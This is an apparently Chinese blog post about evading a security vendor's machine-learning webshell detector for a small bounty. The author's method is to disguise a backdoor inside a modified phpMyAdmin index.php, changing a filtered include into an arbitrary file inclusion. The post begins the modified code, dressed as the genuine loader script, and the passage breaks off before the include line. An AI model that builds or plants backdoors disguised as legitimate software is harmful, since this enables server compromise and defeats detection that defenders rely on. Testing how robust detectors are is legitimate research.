上周看到一些朋友在发青藤云的聊天记录,绕过一个发200块红包。周末的时候就简单做了个测试。
首先使用绕过D盾的webshell,发现被标记为恶意。这就有点意思了。我去看了一下聊天记录的内容,看原理是采用的深度学习的方式。猜测是有监督的方式来实现的(仅为猜测)。我这里绕过的思路采用的是,使用开源程序进行修改,带入一句话后门代码。
记得Phpmyadmin的index.php文件中包含有include ROOT_PATH . $_REQUEST['target'];
这样的代码,如果不看上下文,这个妥妥的文件包含漏洞。不过上文有过滤和判断处理,导致无法包含任意文件。我将其修改为包含任意文件。同时保留来一些源码,把影响执行的代码注释掉(因为适应多种环境,适用但文件的情况)。
最终修改的代码如下:
<?php
/* vim: set expandtab sw=4 ts=4 sts=4: */
/**
* Main loader script
*
* @package PhpMyAdmin
*/
declare(strict_types=1);
/*
use PhpMyAdmin\Controllers\HomeController;
use PhpMyAdmin\Core;
use PhpMyAdmin\DatabaseInterface;
use PhpMyAdmin\Response;
use PhpMyAdmin\Url;
use PhpMyAdmin\Util;
*/
if (! defined('ROOT_PATH')) {
define('ROOT_PATH', ''); //这里做了修改,不影响后门包